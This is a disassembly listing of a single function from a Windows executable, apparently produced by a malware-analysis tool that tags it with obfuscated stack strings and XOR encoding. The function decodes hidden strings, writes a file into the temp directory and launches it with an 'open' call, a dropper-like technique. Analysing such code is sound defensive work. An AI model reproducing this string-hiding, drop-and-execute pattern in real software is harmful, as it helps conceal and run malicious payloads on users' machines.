Function at 0x404cc0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path

Disassembly:
sub esp, 0x888
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x884], eax
push ebx
push esi
push 0x3ff
lea eax, [esp + 0x491]
push 0
push eax
mov byte [esp + 0x498], 0
call sub.MSVCR80.dll_memset
push 0x3ff
lea ecx, [esp + 0x9d]
push 0
push ecx
mov byte [esp + 0xa4], 0
call sub.MSVCR80.dll_memset
add esp, 0x18
lea edx, [esp + 0x8c]
push edx
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
mov bl, 0x5c
jne 0x404daf
mov cl, 0xdd
mov al, 0x6f
mov byte [esp + 0x1b], cl
mov byte [esp + 0x20], cl
mov byte [esp + 0x19], 9
mov byte [esp + 0x1a], al
mov byte [esp + 0x1c], 0x3c
mov byte [esp + 0x1d], 0x4c
mov byte [esp + 0x1e], 0xec
mov byte [esp + 0x1f], bl
mov byte [esp + 0x21], 0x9d
mov byte [esp + 0x22], al
mov byte [esp + 0x23], 0xed
mov byte [esp + 0x24], 0xfc
mov byte [esp + 0x25], 0x7c
mov byte [esp + 0x26], 0xad
mov byte [esp + 0x27], al
mov byte [esp + 0x28], 0xaa
mov byte [esp + 0x18], 0x63
lea ecx, [esp + 0x18]
mov al, byte [ecx + 1]
add ecx, 1
rol al, 4
xor al, 0xaa
mov byte [ecx], al
jne 0x404d85
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x90]
push 0x400
push ecx
call dword [sym.imp.MSVCR80.dll_strcpy_s]
add esp, 0xc
lea eax, [esp + 0x8c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x404dc0
sub eax, edx
cmp byte [esp + eax + 0x8b], bl
je 0x404def
push 0x407380
lea edx, [esp + 0x90]
push 0x400
push edx
call dword [sym.imp.MSVCR80.dll_strcat_s]
add esp, 0xc
mov cl, 0xef
mov al, 0xf
mov byte [esp + 0xa], cl
mov byte [esp + 0xc], cl
mov byte [esp + 9], 0x9d
mov byte [esp + 0xb], al
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0xee
mov byte [esp + 0xf], 0xfe
mov byte [esp + 0x10], 0x6e
mov byte [esp + 0x11], 0x48
mov byte [esp + 0x12], 0x8c
mov byte [esp + 0x13], 0xbc
mov byte [esp + 0x14], 0xed
mov byte [esp + 0x15], 0xaa
mov byte [esp + 8], 0x25
lea ecx, [esp + 8]
lea esp, [esp]
mov al, byte [ecx + 1]
add ecx, 1
rol al, 4
xor al, 0xaa
mov byte [ecx], al
jne 0x404e40
lea eax, [esp + 0x8c]
push eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x494]
push 0x400
push edx
call dword [sym.imp.MSVCR80.dll_sprintf_s]
lea eax, [esp + 0x49c]
push 0x4073d4
push eax
call dword [sym.imp.MSVCR80.dll_fopen]
mov esi, eax
add esp, 0x18
test esi, esi
jne 0x404ea2
pop esi
pop ebx
mov ecx, dword [esp + 0x884]
xor ecx, esp
call fcn.004058f0
add esp, 0x888
ret
mov al, 0xa8
mov dl, 0x7a
mov cl, 0xa
mov byte [esp + 0x2d], 0xfc
mov byte [esp + 0x2e], 0x9c
mov byte [esp + 0x2f], 0x2c
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], al
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0xcc
mov byte [esp + 0x34], 0xcc
mov byte [esp + 0x35], dl
mov byte [esp + 0x36], cl
mov byte [esp + 0x37], 9
mov byte [esp + 0x38], 0x9d
mov byte [esp + 0x39], 0xed
mov byte [esp + 0x3a], 0xbc
mov byte [esp + 0x3b], 0x8d
mov byte [esp + 0x3c], 0xed
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], cl
mov byte [esp + 0x3f], 0x3c
mov byte [esp + 0x40], 0xcc
mov byte [esp + 0x41], al
mov byte [esp + 0x42], 0x4c
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], 0xed
mov byte [esp + 0x45], al
mov byte [esp + 0x46], 0xfc
mov byte [esp + 0x47], 0x2d
mov byte [esp + 0x48], 0x3c
mov byte [esp + 0x49], 0x9d
mov byte [esp + 0x4a], 0xed
mov byte [esp + 0x4b], al
mov byte [esp + 0x4c], 0x88
mov byte [esp + 0x4d], pe_nt_image_headers32
mov byte [esp + 0x4e], 0x9d
mov byte [esp + 0x4f], 0x88
mov byte [esp + 0x50], al
mov byte [esp + 0x51], 0xdc
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], 0xed
mov byte [esp + 0x54], bl
mov byte [esp + 0x55], al
mov byte [esp + 0x56], 0xec
mov byte [esp + 0x57], bl
mov byte [esp + 0x58], 0x4c
mov byte [esp + 0x59], 0xfc
mov byte [esp + 0x5a], dl
mov byte [esp + 0x5b], cl
mov byte [esp + 0x5c], 0xec
mov byte [esp + 0x5d], 0xfc
mov byte [esp + 0x5e], 0x6c
mov byte [esp + 0x5f], al
mov byte [esp + 0x60], 0x88
mov byte [esp + 0x61], pe_nt_image_headers32
mov byte [esp + 0x62], 0x9d
mov byte [esp + 0x63], 0x88
mov byte [esp + 0x64], al
mov byte [esp + 0x65], 0x58
mov byte [esp + 0x66], 0xbf
mov byte [esp + 0x67], dl
mov byte [esp + 0x68], cl
mov byte [esp + 0x69], 0xdc
mov byte [esp + 0x6a], bl
mov byte [esp + 0x6b], 0xed
mov byte [esp + 0x6c], bl
mov byte [esp + 0x6d], al
mov byte [esp + 0x6e], 0x9d
mov byte [esp + 0x6f], 0xed
mov byte [esp + 0x70], 0xbc
mov byte [esp + 0x71], 0x8d
mov byte [esp + 0x72], 0xed
mov byte [esp + 0x73], dl
mov byte [esp + 0x74], cl
mov byte [esp + 0x75], 9
mov byte [esp + 0x76], 0xec
mov byte [esp + 0x77], bl
mov byte [esp + 0x78], 0x4c
mov byte [esp + 0x79], 0xfc
mov byte [esp + 0x7a], dl
mov byte [esp + 0x7f], al
mov byte [esp + 0x84], al
mov byte [esp + 0x7b], cl
mov byte [esp + 0x7c], 0xec
mov byte [esp + 0x7d], 0xfc
mov byte [esp + 0x7e], 0x6c
mov byte [esp + 0x80], 0x88
mov byte [esp + 0x81], pe_nt_image_headers32
mov byte [esp + 0x82], 0x9d
mov byte [esp + 0x83], 0x88
mov byte [esp + 0x85], 0x58
mov byte [esp + 0x86], 0xbf
mov byte [esp + 0x87], dl
mov byte [esp + 0x88], cl
mov byte [esp + 0x89], 0xaa
mov byte [esp + 0x2c], 0x40
lea eax, [esp + 0x2c]
mov edi, edi
mov cl, byte [eax + 1]
add eax, 1
rol cl, 4
xor cl, 0xaa
mov byte [eax], cl
jne 0x405080
lea ecx, [esp + 0x48c]
push ecx
push edi
push edi
lea edx, [esp + 0x38]
push edx
push esi
call dword [sym.imp.MSVCR80.dll_fprintf]
push esi
call dword [sym.imp.MSVCR80.dll_fclose]
add esp, 0x18
push 0
push 0
push 0
lea eax, [esp + 0x498]
push eax
push str.open
push 0
call dword [0x40a26c]
xor ecx, ecx
cmp eax, 0x20
setg cl
pop esi
pop ebx
mov eax, ecx
mov ecx, dword [esp + 0x884]
xor ecx, esp
call fcn.004058f0
add esp, 0x888
ret